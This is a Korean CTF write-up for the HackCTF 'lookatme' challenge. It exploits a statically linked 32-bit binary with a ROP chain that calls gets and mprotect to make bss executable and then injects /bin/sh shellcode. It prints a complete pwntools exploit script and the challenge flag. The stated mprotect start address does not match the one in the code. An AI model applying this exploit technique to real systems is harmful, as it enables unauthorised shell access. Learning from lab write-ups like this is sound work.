문제는 다음과 같다 다운받아서 실행해보면,
문자열을 한 줄 간단하게 입력 받는다. 본격적으로 분석해보기 전에 file 명령어로 간단한 바이너리 정보를 보았더니
32bit 바이너리 이면서 statically linked 방식임을 확인할 수 있다. 이어서 checksec으로 바이너리에 걸린 보호 기법들을 확인해 보면,
NX가 걸려 있음을 확인 할 수 있다. 먼저 NX가 걸려 있으므로 쉘코드는 못 사용할 거고, statically linked 방식이라 libc에 있는 함수들도 못하용하고 오직 바이너리 내부에 있는 함수들만 사용할 수 있다. ida로 쓸만한 함수를 찾아보다가 mprotect라는 함수를 발견했다.
요 함수는 특정 메모리 영역에 권한을 주는 함수이다. 즉 우리는 이 함수를 사용하여 메모리의 적당한 영역에 권한을 부여해주고 쉘 코드를 넣는다면 쉘을 얻을 수 있을 것이다. 그중에서 나는 aslr로 인한 랜덤화가 되지 않는 bss 영역에 mprotect를 사용해 권한을 주어 쉘코드를 삽입할 것이다. bss 영역은 readelf로 보면 다음과 같다.
mprotect의 인자는 총 3개로 메모리 주소, 사이즈 , 권한으로 이루어져 있다. 단 여기서 메모리 주소는 0x1000 즉 4096의 배수가 되어야 한다. 그래서 나는 0x080eaf80에서 0xaf80를 뺀 값인 0x80e0000 부터 8000까지 7(읽기 , 쓰기 , 실행) 권한을 주고자 한다.
익스에 필요한 정보들은 다음과 같이 구했다.
이어서 전체 익스 코드는 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
from pwn import*
#p = process('./lookatme')
elf = ELF('./lookatme')
pppr = 0x080509d5
pr = 0x080583bf
bss = 0x080eaf80
bss_start = 0x080ea000
gets_addr = elf.symbols['gets']
mprotect_addr = elf.symbols['mprotect']
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
payload = ''
payload += 'A'*0x18
payload += 'B'*4
payload += p32(gets_addr)
payload += p32(pr)
payload += p32(bss)
payload += p32(mprotect_addr)
payload += p32(pppr)
payload += p32(bss_start)
payload += p32(8000)
payload += p32(7)
payload += p32(bss)
r.recvuntil('Hellooooooooooooooooooooo')
r.sendline(payload)
r.sendline(shellcode)
r.interactive()
|
실행해보면,
다음과 같이 flag를 구할 수 있다.
FLAG : HackCTF{Did_you_understand_the_static_linking_method?}